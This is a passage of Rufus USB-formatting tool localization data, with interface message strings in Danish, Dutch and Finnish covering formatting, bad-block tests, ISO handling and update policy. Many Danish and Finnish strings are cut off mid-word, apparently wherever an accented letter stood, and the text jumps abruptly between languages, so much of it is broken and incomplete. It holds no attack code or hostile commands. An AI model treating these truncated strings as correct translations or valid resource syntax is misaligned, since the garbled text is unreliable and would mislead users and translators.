"-installationsfilen ('core.img') der matcher versionen fra dit image:\n"t MSG_150 "Normalt det sikreste valg. Hvis du har en UEFI-computer og vil installere "
t MSG_151 "V
"indholdet af USB'en fra Windows XP"
t MSG_152 "Den foretrukne mulighed for at installere et OS i EFI-tilstand, n
dvendig fra Windows XP"
t MSG_153 "Test m
nster: 0xX"
t MSG_154 "Test m
nster: 0xX, 0xX"
t MSG_155 "Test m
nster: 0xX, 0xX, 0xX"
t MSG_156 "Test m
nster: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "S
t MSG_158 "Mindste datam
t MSG_159 "Brug dette felt til at
t MSG_160 "Skift avancerede indstillinger"
t MSG_161 "Kontroller enheden for fejlbeh
t MSG_162 "Frav
t MSG_163 "V
t MSG_164 "Metode til at oprette en boot-disk"
t MSG_165 "Klik for at v
t MSG_166 "V
"og skabe et enheds-ikon (opretter en autorun.inf)"
t MSG_167 "Installer en MBR, der tillader boot valg og kan maskere et BIOS USB-drev ID"
t MSG_168 "Fors
dvendigt hvis du installerer Windows XP og ejer mere end
t MSG_169 "Opret en ekstra skjult partition og fors
g at tilpasse afgr
t MSG_170 "Vis liste over USB harddisk kabinetter. Brug p
t MSG_171 "Start formateringen.\nDette vil SLETTE alle data p
t MSG_172 "Licens information og anerkendelse"
t MSG_173 "Klik for at v
t MSG_174 "Rufus - Det p
t MSG_176 "Dansk overs
ttelse: Jens Hansen <mailto:zenzay@gmail.com>\\line "
"\\tab\\tab Bo Riis <mailto:supergoof@live.dk>"
t MSG_177 "Rapporter fejl eller anmod om forbedringer p
t MSG_178 "Yderligere rettigheder:"
t MSG_179 "Opdateringspolitik:"
t MSG_180 "Hvis du v
t MSG_181 "Dit operativsystems arkitektur og version"
t MSG_182 "Versionen af den applikation du bruger"
t MSG_183 "Din IP-adresse"
t MSG_184 "Med henblik p
t MSG_185 "Opdateringsproces:"
t MSG_186 "Rufus k
"Internetadgang er naturligvis p
t MSG_187 "Ugyldig image for den valgte boot mulighed"
t MSG_188 "Det nuv
t MSG_189 "Dette ISO-image er ikke kompatibelt med det valgte filsystem"
t MSG_190 "Inkompatibelt drev fundet"
t MSG_191 "Skrive test"
t MSG_192 "L
t MSG_193 "Hentet %s"
t MSG_194 "Kunne ikke hente %s"
t MSG_195 "Benytter standard version af %s fil(er)"
t MSG_196 "VIGTIGT: DETTE DREV BENYTTER IKKE STANDARD SEKTOR ST
rrelse mens dette drev benytter %d-byte sektorst
t MSG_197 "IKKE standard sektor st
t MSG_198 "'Windows To Go' kan kun installeres p
t MSG_199 "V
lg dette hvis du vil installere Windows p
t MSG_200 "V
re Windows fra dette drev."
t MSG_201 "Annullerer - vent venligst..."
t MSG_202 "Scanner image..."
t MSG_203 "Fejl opstod ved scanning af image"
t MSG_204 "For
ldet %s fundet"
t MSG_205 "ISO-image: %s"
t MSG_206 "Manglende %s fil
t MSG_207 "Ny disk"
t MSG_208 "%d enhed fundet"
t MSG_209 "%d enheder fundet"
t MSG_210 "Klar"
t MSG_211 "Afbrudt"
t MSG_212 "Fejl!"
t MSG_213 "Starter ny applikation..."
t MSG_214 "Kan ikke starte ny applikation"
bnet %s"
t MSG_216 "Gemt %s"
t MSG_217 "Formatering: %0.1f%% fuldf
t MSG_218 "Opretter filsystem: Opgave %d/%d fuldf
t MSG_219 "NTFS-fiks: %d%% fuldf
t MSG_220 "Formaterer (%s) - estimeret varighed %d:d..."
t MSG_221 "Opretter etiket (dette kan tage et stykke tid)..."
t MSG_222 "Formaterer (%s)..."
t MSG_223 "NTFS-fiks (Checkdisk)..."
t MSG_224 "Nulstiller MBR/PBR/GPT-strukturer..."
t MSG_225 "Anmoder om disktilgang..."
t MSG_226 "Analyserer eksisterende boot records..."
t MSG_227 "Lukker eksisterende volume..."
t MSG_228 "Skriver master boot record..."
t MSG_229 "Skriver partition boot record..."
t MSG_230 "Kopierer DOS-filer..."
t MSG_231 "Kopierer ISO-filer..."
t MSG_232 "Win7 EFI boot setup (dette kan tage noget tid)..."
t MSG_233 "Afslutter, vent venligst..."
t MSG_234 "Installerer Syslinux %s..."
t MSG_235 "Disktest: %s %d/%d - %0.2f%% (%d/%d/%d fejl)"
t MSG_236 "Disktest: Tester med tilf
t MSG_237 "Disktest: Tester med m
nsteret 0xX"
t MSG_238 "Partitionerer (%s)..."
t MSG_239 "Sletter partitioner..."
t MSG_240 "Henter %s: Tilslutter..."
t MSG_241 "Henter: %0.1f%%"
t MSG_242 "Kunne ikke hente fil."
t MSG_243 "S
t MSG_244 "Opdateringer: Ikke i stand til at tilslutte internettet"
t MSG_245 "Opdateringer: Ikke i stand til at tilg
t MSG_246 "En ny version af Rufus er tilg
t MSG_247 "Ingen nyere version af Rufus blev fundet"
t MSG_248 "Applikationsn
t MSG_249 "Kunne ikke slette applikationsn
t MSG_250 "%s aktiveret"
t MSG_251 "%s deaktiveret"
t MSG_252 "Tjek st
t MSG_253 "Lokal-disk detektering"
t MSG_254 "Tvunget 'large FAT32' formatering"
t MSG_255 "NoDriveTypeAutorun bliver detekteret ved exit"
t MSG_256 "Opdag falske drev"
t MSG_257 "Joliet underst
t MSG_258 "Rock Ridge underst
t MSG_259 "Tvunget opdatering"
t MSG_260 "NTFS-komprimering"
t MSG_261 "Skriver til image: %0.1f%% fuldf
t MSG_262 "ISO-underst
t MSG_263 "MiB notation"
t MSG_264 "Sletter mappen '%s'"
t MSG_265 "VMWare disk detektering"
t MSG_267 "Anvender Windows-image: %0.1f%% fuldf
t MSG_268 "Anvender Windows-image..."
t MSG_269 "Bevar tidsstempler"
t MSG_271 "Beregner imagechecksumme: %0.1f%% fuldf
t MSG_272 "Beregner MD5-, SHA1- og SHA256-checksumme for det valgte diskbillede"
t MSG_273 "Skift programsprog"
t MSG_274 "ISOHybrid-diskbillede opdaget"
t MSG_275 "Det diskbillede du har valgt er et 'ISOHybrid'-diskbillede. Det betyder at det b
"%s (filkopiering) og %s (diskbillede).\n"
"Rufus anbefaler at du skriver det som %s, s
ve at skrive diskbilledet som %s.\n\n"
t MSG_276 "Skriv som %s (Anbefalet)"
t MSG_277 "Skriv som %s"
t MSG_278 "Opstartstype"
t MSG_279 "Ikke startbar"
t MSG_280 "Diskbillede"
t MSG_281 "(V
t MSG_282 "Isoleret USB-lukning"
t MSG_283 "Ugyldig signatur"
t MSG_284 "Den hentede fil mangler en digital signatur."
t MSG_285 "Den hentede fil er signeret af '%s'.\nDet er ikke en signatur vi genkender og det kan tyde "
m IDC_NBPASSES 20,0
t IDC_WINDOWS_INSTALL "Standaard Windows installatie"
t IDC_WEBSITE "Klik hier om naar de website te gaan"
t MSG_001 "Ander programma gedetecteerd"
t MSG_002 "Een andere Rufus applicatie is geopend.\n"
t MSG_003 "WAARSCHUWING: ALLE DATA OP APPARAAT '%s' ZAL VERWIJDERD WORDEN.\n"
t MSG_004 "Rufus update beleid"
t MSG_005 "Wilt u Rufus toestaan om online te zoeken naar programma updates?"
t MSG_006 "Sluiten"
t MSG_007 "Annuleren"
t MSG_009 "Nee"
t MSG_010 "Slechte blokken gevonden"
t MSG_011 "Controle voltooid: %d slechte blok(ken) gevonden\n"
" %d leesfout(en)\n %d schrijffout(en)\n %d corruptiefout(en)\n"
t MSG_012 "%s\nEen meer gedetailleerder rapport kan worden gevonden in:\n%s"
t MSG_013 "Uitgeschakeld"
t MSG_014 "Dagelijks"
t MSG_015 "Wekelijks"
t MSG_016 "Maandelijks"
t MSG_017 "Aangepast"
t MSG_018 "Huidige versie: %d.%d (Build %d)"
t MSG_019 "Laatste versie: %d.%d (Build %d)"
t MSG_029 "Standaard"
t MSG_030 "%s (Standaard)"
t MSG_031 "%s partitie-indeling voor BIOS of %s"
t MSG_032 "%s partitie-indeling voor BIOS"
t MSG_033 "%s partitie-indeling voor UEFI"
t MSG_034 "%d Ronde"
t MSG_035 "%d Rondes"
t MSG_036 "ISO image"
t MSG_037 "Applicatie"
t MSG_038 "Afbreken"
t MSG_039 "Start"
t MSG_041 "Opdracht geannuleerd door de gebruiker"
t MSG_042 "Fout"
t MSG_043 "Fout: %s"
t MSG_044 "Bestand download"
t MSG_045 "USB Opslag Apparaat (Algemeen)"
t MSG_047 "Meerdere partities"
t MSG_048 "Rufus - Buffers aan het legen"
t MSG_049 "Rufus - Annulatie"
t MSG_050 "Succesvol."
t MSG_051 "Onbepaalde fout tijdens formatteren."
t MSG_052 "Kan geselecteerde bestandssysteem niet gebruiken voor dit medium."
t MSG_053 "Geen toegang tot het apparaat."
t MSG_054 "Medium is schrijfbeveiligd."
t MSG_055 "Het apparaat is in gebruik door een ander proces."
t MSG_056 "Snelformatteren is niet beschikbaar voor dit apparaat."
t MSG_057 "Het volumelabel is ongeldig."
t MSG_058 "De apparaat tabel is ongeldig."
t MSG_059 "De geselecteerde clustergrootte is ongeldig voor dit apparaat."
t MSG_060 "De volumegrootte is ongeldig."
t MSG_061 "Plaats een verwisselbaar medium a.u.b."
t MSG_062 "Een ongeldige opdracht was ontvangen."
t MSG_063 "Geheugentoewijzing mislukt."
t MSG_064 "Leesfout."
t MSG_065 "Schrijffout."
t MSG_066 "Installatie mislukt"
t MSG_067 "Medium kan niet geopend worden. Het is in gebruik door een ander proces. "
t MSG_068 "Fout tijdens het partitioneren van de drive."
t MSG_069 "Kan bestanden niet kopi
t MSG_070 "Geannuleerd door de gebruiker."
t MSG_071 "Thread starten is niet mogelijk."
t MSG_072 "Controle van slechte blokken niet voltooid."
t MSG_073 "ISO image controle fout."
t MSG_074 "ISO image extractie fout."
t MSG_075 "Herkoppelen van volume niet mogelijk."
t MSG_076 "Patchen/klaarmaken van bestanden voor opstarten niet mogelijk."
t MSG_077 "Niet mogelijk om een driveletter toe te wijzen."
t MSG_078 "Kan GUID volume niet koppelen."
t MSG_079 "Het apparaat is niet klaar."
t MSG_080 " Rufus heeft gedetecteerd dat Windows nog steeds bezig is om zijn interne buffers te legen naar het USB apparaat.\n\n"
"Afhankelijk van de snelheid van uw USB apparaat kan deze operatie een lange tijd duren voordat deze voltooid is.\n"
"Zeker voor grote bestanden.\n\nHet is aanbevolen om Windows de taak volledig te laten voltooien om datacorruptie te voorkomen.\n"
t MSG_081 "Niet-ondersteunde image"
t MSG_082 "Deze image is ofwel niet opstartbaar, of het gebruikt een opstart- of compressiemethode die niet ondersteund wordt door Rufus..."
t MSG_083 "%s vervangen?"
t MSG_084 "Deze ISO image lijkt een verouderde versie te gebruiken van '%s'.\n"
"'%s' bestaat, zal deze automatisch hergebruiktworden."
t MSG_085 "Bezig met downloaden van %s"
t MSG_086 "Geen image geselecteerd."
t MSG_087 "Klik a.u.b. op de CD knop om een opstartbare image te selecteren.\n"
t MSG_088 "Image is te groot"
t MSG_089 "De image is te groot voor het geselecteerde doelapparaat."
t MSG_090 "Niet-ondersteunde ISO"
t MSG_091 "Wanneer voor type computer UEFI is geselecteerd, zijn alleen EFI opstartbare ISO images ondersteund."
t MSG_092 "Niet ondersteund bestandssysteem"
t MSG_093 "BELANGRIJK: DEZE DRIVE BEVAT MEERDERE PARTITIES!!\n\n"
"Dit kunnen partities/volumes zijn die niet in de lijst voor komen of zelfs niet zichtbaar zijn voor Windows. "
t MSG_094 "Meerdere partities gedetecteerd"
t MSG_096 "Het geselecteerde bestandssysteem kan niet worden gebruikt met dit type ISO. Selecteer een ander bestandssysteem of gebruik een andere ISO."
t MSG_097 "'%s' kan alleen worden toegepast als het bestandssysteem NTFS is."
t MSG_098 "BELANGRIJK: U probeert 'Windows To Go' te installeren, maar uw doelschijf heeft "
"het "FIXED" attribuut niet. Hierdoor zal Windows hoogst waarschijnlijk vastlopen tijdens "
t MSG_099 "Beperking van bestandssysteem"
t MSG_100 "Deze ISO image bevat een bestand dat groter is dan 4 GB wat groter is dan de "
t MSG_101 "WIM ondersteuning ontbreekt."
t MSG_102 "Uw OS kan geen bestanden uitpakken van WIM archieven. WIM extractie is nodig om EFI opstartbare Windows 7 en Windows Vista USB drives te maken. U kunt dit oplossen "
t MSG_104 "%s of hoger vereist een '%s' bestand om het te kunnen installeren.\n"
"Omdat dit bestand groter is dan 100 KB en altijd aanwezig is op %s ISO images,"
"%s' al bestaat, zal deze automatisch vervangen worden."
t MSG_105 "Wanneer u annuleert kan het apparaat ONBRUIKBAAR worden.\n"
t MSG_106 "Selecteer een map a.u.b."
t MSG_107 "Alle bestanden"
t MSG_110 "MS-DOS kan niet opstarten van een apparaat met een clustergrootte van 64 kilobyte..."
t MSG_111 "Incompatibel Clustergrootte"
t MSG_112 "Het formatteren van grote UDF volumes kan een lange tijd duren..."
t MSG_113 "Grote UDF volume"
t MSG_114 "Deze image maakt gebruik van Syslinux %s%s maar de applicatie bevat alleen de installatiebestanden voor"
"Syslinux %s%s.\n\nOmdat oude en nieuwe versies van Syslinux niet compatibel zijn met elkaar, en het niet mogelijk is voor Rufus om alle versies te beheren,"
"moeten twee extra bestanden gedownload worden van het internet ('ldlinux.sys' en 'ldlinux.bss'):\n"t MSG_115 "Download is vereist"
t MSG_116 "Deze image maakt gebruik van Grub %s maar de applicatie bevat alleen de installatiebestanden voor Grub %s.\n\n"
"Grub installatie bestand ('core.img') te zoeken dat overeenkomst met uw image:\n"t MSG_150 "Normaal gesproken de veiligste keuze. Als u een UEFI computer hebt maar u wilt "
t MSG_151 "Gebruik deze optie als u een besturingssysteem in EFI mode wilt installeren, maar toegang nodig hebt tot\n"
"de USB inhoud van Windows XP"
t MSG_152 "Aanbevolen optie om een besturingssysteem in EFI mode te installeren en wanneer USB toegang niet nodig is voor Windows XP"
t MSG_153 "Test patroon: 0xX"
t MSG_154 "Test patroon: 0xX, 0xX"
t MSG_155 "Test patroon: 0xX, 0xX, 0xX"
t MSG_156 "Test patroon: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Selecteer hier uw type bestandssysteem"
t MSG_158 "Minimum grootte dat een datablok inneemt in het bestandssysteem"
t MSG_159 "Gebruik dit veld om de drive naam in te stellen.\nInternationale tekens worden geaccepteerd"
t MSG_160 "Wisselen naar geavanceerde opties"
t MSG_161 "Controleer het apparaat op slechte blokken tijdens een testpatroon"
t MSG_162 "Uitvinken om een \"langzamere\" formatteer methode te gebruiken"
t MSG_163 "Aanvinken om de USB drive opstartbaar te maken"
t MSG_164 "Gebruikte methode om de drive opstartbaar te maken"
t MSG_165 "Klik om een image te selecteren..."
t MSG_166 "Vink aan om internationale labels te zien en een apparaat\n"
ert een autorun.inf bestand)"
t MSG_167 "Installeert een MBR die een opstartselectie toestaat en de BIOS USB drive ID kan verbergen"
t MSG_168 "Probeert de eerste opstartbare USB drive (gewoonlijk 0x80) voor te laten doen als een andere disk.\n"
"Dit is alleen nodig als u Windows XP installeert en meer dan
t MSG_169 "Cre
t MSG_170 "Activeer de lijst met externe USB HD's.\nGEBRUIK OP EIGEN RISICO!!!"
t MSG_171 "Start het formatteren.\nDit zal alle data op de doel drive VERWIJDEREN!"
t MSG_172 "Licentie informatie en credits"
t MSG_173 "Klik om te selecteren..."
t MSG_174 "Rufus - De betrouwbare USB Formatteer Tool"
t MSG_175 "Versie %d.%d (Build %d)"
t MSG_176 "Nederlandse vertaling: Roberto Pino <mailto:rcpac@ziggo.nl>"
t MSG_177 "Meld fouten of verbeteringsverzoeken naar:"
t MSG_178 "Aanvullende Auteursrechten:"
t MSG_179 "Update Beleid:"
t MSG_180 "Als u ervoor kiest dat dit programma op updates controleert,"
t MSG_181 "Type besturingssysteem en versienummer"
t MSG_182 "Versienummer van de applicatie die u gebruikt"
t MSG_183 "Uw IP adres"
t MSG_184 "Ten behoeve van het genereren van statistieken voor priv
t MSG_185 "Update Proces:"
t MSG_186 "Rufus voert geen installatie van of achtergrond services uit, Daarom worden updatecontroles alleen uitgevoerd als de toepassing wordt uitgevoerd.\\line\n"
"Internet toegang is natuurlijk vereist wanneer er op updates gecontroleerd wordt."
t MSG_187 "Ongeldige image voor geselecteerde opstart optie"
t MSG_188 "De huidige image komt niet overeen met de opstart optie die geselecteerd is. Gebruik a.u.b. een andere image of kies een andere opstart optie."
t MSG_189 "Dit ISO beeldbestand is niet compatibel met het geselecteerde bestandssysteem."
t MSG_190 "niet compatibel drive gedetecteerd"
t MSG_191 "Schrijfactie"
t MSG_192 "Leesactie"
t MSG_193 "Gedownload %s"
t MSG_194 "Kan niet downloaden %s"
t MSG_195 "Gebruikt ge
ntegreerde versie van %s bestand(en)"
t MSG_196 "BELANGRIJK: DEZE DRIVE GEBRUIKT EEN NIET-STANDAARD SECTORGROOTTE!!\n\n"
"Conventionele drives gebruiken een 512-byte sector grootte maar deze drive gebruikt een %d-byte one. "
t MSG_197 "Niet-standaard sectorgrootte gedetecteerd"
t MSG_198 "'Windows To Go' kan alleen worden ge
t MSG_199 "Kies dit als u van plan bent om Windows op een andere schijf te installeren, waarvan het geselecteerde apparaat als installatie media wordt gebruikt."
t MSG_200 "Kies dit als u Windows rechtstreeks vanaf het geselecteerde apparaat wilt starten."
t MSG_201 "Bezig met annuleren - Een moment geduld a.u.b. ..."
t MSG_202 "Bezig met onderzoeken van image..."
t MSG_203 "Onderzoeken van image mislukt"
t MSG_204 "Verouderde %s gedetecteerd"
t MSG_205 "Gebruikte image: %s"
t MSG_206 "Ontbrekend %s bestand"
t MSG_207 "Nieuw Volume"
t MSG_208 "%d apparaat gevonden"
t MSG_209 "%d apparaten gevonden"
t MSG_210 "GEREED"
t MSG_211 "Geannuleerd"
t MSG_212 "MISLUKT"
t MSG_213 "Bezig nieuwe applicatie opstarten..."
t MSG_214 "Starten van nieuwe applicatie mislukt"
t MSG_215 "Geopend %s"
t MSG_216 "Opgeslagen %s"
t MSG_217 "Formatteren: %0.1f%% voltooid"
t MSG_218 "Bestandssysteem aan het maken: Taak %d/%d voltooid"
t MSG_219 "NTFS herstellen: %d%% voltooid"
t MSG_220 "Formatteren (UDF) (%s) - Geschatte duur %d:d..."
t MSG_221 "Cre
t MSG_222 "Formatteren (%s)..."
t MSG_223 "NTFS herstellen (Checkdisk)..."
t MSG_224 "Schoon MBR/PBR/GPT structuren op..."
t MSG_225 "Verzoek tot disk toegang..."
t MSG_226 "Bezig met analyse bestaande opstart records..."
t MSG_227 "Bezig bestaande volume afsluiten..."
t MSG_228 "Master boot record aan het schrijven..."
t MSG_229 "Partitie opstartrecord aan het schrijven..."
t MSG_230 "DOS files aan het kopi
t MSG_231 "ISO bestanden aan het kopi
t MSG_232 "Win7 EFI opstart setup (Dit kan een tijdje duren)..."
t MSG_233 "Finaliseren, een moment geduld a.u.b. ..."
t MSG_234 "Bezig met installeren Syslinux %s..."
t MSG_235 "Slechte Blokken: Ronde %s %d/%d - %0.2f%% (%d/%d/%d fouten)"
t MSG_236 "Slechte Blokken: Testen met willekeurig patroon"
t MSG_237 "Slechte Blokken: Testen met patroon 0xX"
t MSG_238 "Partitioneren (%s)..."
t MSG_239 "Partities worden verwijderd..."
t MSG_240 "Downloaden %s: Bezig met connectie..."
t MSG_241 "Downloaden: %0.1f%%"
t MSG_242 "Downloaden van bestand mislukt."
t MSG_243 "Controleren op Rufus updates..."
t MSG_244 "Updates: Connectie met internet niet mogelijk"
t MSG_245 "Updates: Versienummer ophalen niet mogelijk"
t MSG_246 "Een nieuwe versie van Rufus is beschikbaar!"
t MSG_247 "Geen nieuwe versies van Rufus gevonden"
t MSG_248 "Registersleutels van applicatie succesvol verwijderd"
t MSG_249 "Registersleutels van applicatie verwijderen mislukt"
t MSG_250 "%s ingeschakeld"
t MSG_251 "%s uitgeschakeld"
t MSG_252 "Controles op image grootte"
t MSG_253 "Detectie harde schijven"
t MSG_254 "Forceer uitgebreide FAT32 formattering"
t MSG_255 "NoDriveTypeAutorun zal worden verwijderd tijdens afsluiten"
t MSG_256 "Valse drive detectie"
t MSG_257 "Joliet ondersteuning"
t MSG_258 "Rock Ridge ondersteuning"
t MSG_259 "Update forceren"
t MSG_260 "NTFS compressie"
t MSG_261 "Bezig met schrijven van image: %0.1f%% voltooid"
t MSG_262 "ISO ondersteuning"
t MSG_263 "Gebruik de juiste grootte-eenheden"
t MSG_264 "De map '%s' wordt verwijderd"
t MSG_265 "VMWare disk gedetecteerd"
t MSG_266 "Dubbel UEFI/BIOS modus"
t MSG_267 "Windows image wordt toegepast: %0.1f%% gereed"
t MSG_268 "Windows image wordt toegepast..."
t MSG_269 "Behoud bestandsdata"
t MSG_271 "Image checksums berekenen: %0.1f%% voltooid"
t MSG_272 "Bereken de MD5, SHA1 en SHA256 checksums voor de geselecteerde image"
t MSG_273 "Verander de taal van het programma"
t MSG_274 "ISOHybride image gedetecteerd"
t MSG_275 "De geselecteerde image is een 'ISOHybride' image. Dit betekent dat het in "
"%s (bestands copy) modus of %s (disk image) modus weggeschreven kan worden.\n"
"Rufus beveelt de %s modus aan zodat er altijd volledige toegang is tot de schijf nadat deze beschreven is.\n"
"Echter, als er problemen zijn tijdens het opstarten, kunt u proberen om deze image opnieuw te schrijven in %s modus.\n\n"
t MSG_276 "Schrijf in %s modus (Aanbevolen)"
t MSG_277 "Schrijf in %s modus"
t MSG_278 "Opstart type"
t MSG_279 "Niet bootable"
t MSG_280 "Image selectie"
t MSG_281 "(Selecteer a.u.b. een image)"
t MSG_282 "Exclusieve USB drive vergrendeling"
t MSG_283 "Ongeldige handtekening"
t MSG_284 "het gedownloade programmabestand heeft geen digitale handtekening."
t MSG_285 "Het gedownloade programmabestand is ondertekend door '%s'.\nDit is geen herkende handtekening "
t MSG_286 "Nullen schrijven : %0.1f%% voltooid"
m IDC_NBPASSES 12,0
s IDC_NBPASSES -9,0
t IDC_WINDOWS_INSTALL "Tavanomainen Windowsin asennus"
t IDC_WEBSITE "Klikkaa t
t MSG_001 "Toinen prosessi k
t MSG_002 "Rufus-sovellus on jo k
t MSG_003 "VAROITUS: KAIKKI TIEDOT LAITTEESSA '%s' POISTETAAN.\n"
t MSG_004 "Rufus-p
t MSG_005 "Haluatko sallia Rufuksen etsi
t MSG_006 "Sulje"
t MSG_007 "Peruuta"
t MSG_008 "Kyll
t MSG_009 "Ei"
t MSG_010 "Viallisia lohkoja l
t MSG_011 "Tarkistus valmis: %d viallista lohkoa l
" %d lukuvirhe(tt
)\n %d kirjoitusvirhe(tt
)\n %d korruptiovirhe(tt
t MSG_012 "%s\nA voit tarkastella tarkempaa raporttia kohteessa:\n%s"
t MSG_013 "Pois k
t MSG_014 "P
t MSG_015 "Viikoittain"
t MSG_016 "Kuukausittain"
t MSG_017 "Mukautettu"
t MSG_018 "T
versio: %d.%d (Build %d)"
t MSG_019 "Viimeisin versio: %d.%d (Build %d)"
t MSG_020 "tavua"
t MSG_026 "tavua"
t MSG_027 "kilotavua"
t MSG_028 "megatavua"
t MSG_029 "Oletus"
t MSG_030 "%s (Oletus)"
t MSG_031 "%s-osiotyyppi BIOS- tai %s"
t MSG_032 "%s-osiotyyppi BIOS"
t MSG_033 "%s-osiotyyppi UEFI"
t MSG_034 "%d testi"
t MSG_035 "%d testi
t MSG_036 "ISO-kuva"
t MSG_037 "Sovellus"
t MSG_038 "Keskeyt
t MSG_040 "Lataa"
t MSG_041 "K
t MSG_042 "Virhe"
t MSG_043 "Virhe: %s"
t MSG_044 "Tiedoston lataus"
t MSG_045 "USB-tallennuslaite (Yleinen)"
t MSG_046 "%s (Levy %d) [%s]"
t MSG_047 "Useita osioita"
t MSG_048 "Rufus - Tyhjennet
t MSG_049 "Rufus - Peruutus"
t MSG_050 "Onnistui."
t MSG_051 "M
t MSG_052 "Valittua tiedostoj
t MSG_054 "Tietov
t MSG_055 "Laite on toisen prosessin k
t MSG_056 "T
t MSG_057 "Aseman nimi ei kelpaa."
t MSG_058 "Laitteen tunniste ei kelpaa."
t MSG_059 "Valittua tilanvarausyksikk
t MSG_060 "Aseman koko ei kelpaa."
t MSG_061 "Aseta ."
t MSG_064 "Virhe lukiessa."
t MSG_065 "Virhe kirjoittaessa."
t MSG_066 "Asennus ep
t MSG_067 "Tietov
t MSG_068 "Virhe osioidessa levy
t MSG_069 "Tietoja ei voitu kopioida kohdelevylle."
t MSG_070 "K
t MSG_071 "S
t MSG_072 "Lohkojen tarkistus ei valmistunut."
t MSG_073 "ISO-levykuvan skannaus ep
t MSG_074 "ISO-levykuvan purkaminen ep
t MSG_075 "Asemaa ei voitu ottaa uudelleen k
t MSG_076 "Tiedostoja ei voitu p
t MSG_077 "Levykirjainta ei voitu asettaa."
t MSG_078 "GUID-asemaa ei voitu ottaa k
t MSG_079 "Laite ei ole valmis."
t MSG_080 "Rufus havaitsi, ett
Windows tyhjent
annat Windowsin suorittaa toiminnon loppuun v
t MSG_081 "Levykuvaa ei tueta"
t MSG_082 "Valittu levykuva ei ole boottava tai se k
t MSG_083 "Korvataanko %s?"
t MSG_084 "T
n vanhentunutta '%s'-versiota.\n"
"'%s' l
t MSG_085 "Ladataan %s"
t MSG_086 "ISO-levykuvaa ei valittu"
t MSG_087 "Paina levykuvakkeesta valitaksesi boottaavan ISO-levykuvan "
t MSG_088 "Levykuva on liian suuri"
t MSG_089 "Levykuva on liian suuri valittuun kohteeseen."
t MSG_090 "ISO-levykuvaa ei tueta"
t MSG_091 "UEFI-kohdetyyppi
t MSG_092 "Tiedostoj
t MSG_093 "T
Windowsissa. "
t MSG_094 "Useita osioita havaittu"
t MSG_095 "DD-kuva"
t MSG_096 "Valittua tiedostoj
t MSG_097 "'%s' on k
t MSG_098 "T
: Olet asentamassa 'Windows To Go' -j
johtuen Windows todenn
t MSG_099 "Tiedostoj
t MSG_100 "T
t MSG_101 "WIM-tuki puuttuu"
t MSG_102 "K
EFI-bootattavien Windows 7 ja Windows Vista USB-asemien luomisessa. Voit korjata tilanteen"
t MSG_103 "Ladataanko %s?"
t MSG_104 "%s tai uudempi vaatii '%s'-tiedoston asennuksen.\n"
ytyy aina %s ISO-levykuvista, "
t MSG_105 "Peruuttaminen saattaa j
t MSG_106 "Valitse kansio"
t MSG_107 "Kaikki tiedostot"
t MSG_108 "Rufuksen loki"
t MSG_109 "0xX (Levy %d)"
t MSG_110 "MS-DOS ei voi k
t MSG_111 "Ep
t MSG_112 "Suurten UDF-asemien alustus voi kest
"kesto on %d:d, mink
t MSG_113 "Suuri UDF-asema"
t MSG_114 "T
Syslinuxia %s%s, mutta t
"Syslinuxille %s%s.\n\nKoska Syslinuxin uudet versiot eiv
"('ldlinux.sys' ja 'ldlinux.bss'):\n"t MSG_115 "Lataus vaaditaan"
t MSG_116 "T
Grubia %s, mutta t
"Grubille %s.\n\nKoska Grubin eri versiot eiv
"('core.img'), joka tt MSG_150 "Yleens
t MSG_151 "K
n Windows XP:ss
t MSG_152 "Suositeltu vaihtoehto k
ei tarvita Windows XP:lle"
t MSG_153 "Testikuvio: 0xX"
t MSG_154 "Testikuvio: 0xX, 0xX"
t MSG_155 "Testikuvio: 0xX, 0xX, 0xX"
t MSG_156 "Testikuvio: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Asettaa kohteen tiedostoj
t MSG_158 "Minimikoko, jonka datalohko varaa tiedostoj
t MSG_159 "K
t MSG_160 "N
t MSG_161 "Tarkista laite testikuviolla vioittuneiden lohkojen varalta"
t MSG_162 "Poista valintaruudun valinta k
t MSG_163 "Valitse valintaruutu tehd
t MSG_164 "Tapa, jolla asemasta tehd
t MSG_165 "Paina valitaksesi levykuva..."
t MSG_166 "Valitse valintaruutu salliaksesi kansainv
"ja asettaaksesi laitekuvakkeen (luo autorun.inf-tiedoston)"
t MSG_167 "Asenna MBR, joka sallii k
t MSG_168 "Yrit
n tulisi olla tarpeellista vain asennettaessa Windows XP:t
t MSG_169 "Luo ylim
t MSG_170 "Ota k
t MSG_171 "K
t MSG_172 "Lisenssitiedot ja tekij
t MSG_173 "Paina valitaksesi..."
t MSG_174 "Rufus - Luotettava USB-alustusohjelma"
t MSG_175 "Versio %d.%d (Build %d)"
t MSG_176 "Suomenkielinen k
t MSG_177 "Raportoi virheit
t MSG_178 "Muut tekij
t MSG_179 "P
t MSG_180 "Jos annat ohjelman etsi
t MSG_181 "K
t MSG_182 "K
t MSG_183 "IP-osoitteesi"
t MSG_184 "Yksityisten k
t MSG_185 "P
t MSG_186 "Rufus ei asenna tai aja taustapalveluja, siksi p
t MSG_187 "Levykuva ei ole sopiva valitulle k
t MSG_188 "Nykyinen levykuva ei vastaa valittua k
t MSG_189 "T
t MSG_190 "Ep
t MSG_191 "Kirjoitustesti"
t MSG_192 "Lukutesti"
t MSG_193 "Ladattu %s"
t MSG_194 "Ei voitu ladata %s"
t MSG_195 "K
versiota %s -tiedostoista"
t MSG_196 "T
%d-tavuista. "
t MSG_197 "Ep
t MSG_198 "'Windows To Go' voidaan asentaa GPT-osioidulle asemalla vain, jos asema "
t MSG_199 "Valitse t
, jos aiot asentaa Windowsin eri asemalle k
t MSG_200 "Valitse t
Windowsia siirrelt
t MSG_201 "Peruutetaan - Odota..."
t MSG_202 "Skannataan ISO-levykuvaa..."
t MSG_203 "ISO-levykuvan skannaus ep
t MSG_204 "Vanhentunut %s havaittu"
t MSG_205 "K
oleva levykuva: %s"
t MSG_206 "Tiedosto %s puuttuu"
t MSG_207 "Uusi asema"
t MSG_208 "%d laite havaittu"
t MSG_209 "%d laitetta havaittu"
t MSG_210 "VALMIINA"
t MSG_211 "Peruutettu"
t MSG_212 "EP
t MSG_213 "K
t MSG_214 "Uuden sovelluksen k
t MSG_215 "Avattu %s"
t MSG_216 "Tallennettu %s"
t MSG_217 "Alustus: %0.1f%% valmiina"
t MSG_218 "Luodaan tiedostoj
: Toiminto %d/%d suoritettu"
t MSG_219 "NTFS-korjaus: %d%% valmiina"
t MSG_220 "Alustetaan (%s) - arvioitu kesto %d:d..."
t MSG_221 "Asetetaan nime
t MSG_222 "Alustetaan (%s)..."
